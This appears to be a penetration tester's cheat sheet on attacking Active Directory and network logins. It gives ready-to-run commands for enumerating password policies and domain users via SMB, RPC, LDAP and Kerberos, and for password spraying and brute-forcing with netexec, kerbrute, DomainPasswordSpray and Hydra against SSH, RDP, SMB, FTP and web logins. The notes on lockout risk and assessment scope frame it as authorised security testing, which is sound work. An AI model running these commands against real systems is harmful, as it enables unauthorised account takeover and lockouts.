Password

Enumerating Password Policy

See more about… enum4linux-ng

Source: Docs > 4 - Vuln Analysis (Services) > smb-cifs#enum4linux-ng

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMB
netexec smb <TARGET> --pass-pol
netexec smb <TARGET> -u <USER> -p <PASS> --pass-pol

# via RPC
rpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo  # get domain and password policy

# via LDAP anon bind (Win Server 2003)
# pwdProperties: password complexity
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# via net
net use \\<TARGET>\ipc$ "" /u:""
net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>

# via net accounts
net accounts

NOTE: “If asking for the policy does not fit the expectations of the assessment or the client does not want to provide it, we should run one, max two, password spraying attempts (regardless of whether we are internal or external) and wait over an hour between attempts if we indeed decide to attempt two”

Default Domain Policy

PolicyDefault Value
Enforce password history24 days
Maximum password age42 days
Minimum password age1 day
Minimum password length7
Password must meet complexity requirementsEnabled
Store passwords using reversible encryptionDisabled
Account lockout durationNot set
Account lockout threshold0
Reset account lockout counter afterNot set

Default Login Creds

# Install
pipx install defaultcreds-cheat-sheet

# Creds
creds search <KEYWORD>

User Enum

All of these use anonymous sessions, but credentials can be tried as well.

# via enum4linux-ng (this uses RPC)
enum4linux-ng -U <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB
netexec smb <TARGET> --users

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
# for <WORDLIST>: wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>

Brute-Forcing & Spraying

  • Brute-Force: 1 user against 1 target using many passwords (alternates passwords)
    • RISK of account lock d/t account lockout policy – find valid creds for user (only option or valuable account)
  • Spraying: many users against many targets using 1 password (alternates users)
    • no risk of account lockout – “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if “…you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset…”

Linux

# Check netexec -h for services
netexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'

# via RPC
for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done

# via Kerbrute
kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS>  <PASSWORD>
Local Auth

This tries local authentication instead of domain authentication. Mitigated with:

# Check netexec -h for services
netexec smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

Windows

By default, the script “smartly” checks account logon policy and pulls users from the current domain (minus disabled accounts). Users can be specified with -UserList and the domain with -Domain respectively.

# DomainPasswordSpray
wget https://github.com/dafthack/DomainPasswordSpray/raw/refs/heads/master/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -OutFile spray_success -ErrorAction SilentlyContinue -Password <PASSWORD>

Hydra

# Web Login brute-force (ONLINE - use small wordlist to avoid lockouts)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -VF -o hydra_web_login.txt

# Wordpress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt ssh://<TARGET>:<PORT> -o hydra_ssh_login.txt
### Core Flags
-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)

### SSH / FTP / RDP / SMB
hydra -l <USER> -P <WORDLIST> -f -V -t 4 ssh://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

### Web Forms (HTTP-POST)
# Syntax: "/path:body:F=FailureString"
# Use ^USER^ and ^PASS^ as placeholders. Check Burp Suite for body structure.
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid password" -V -f

### WordPress Specific
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

### Password Spraying (1 pass vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"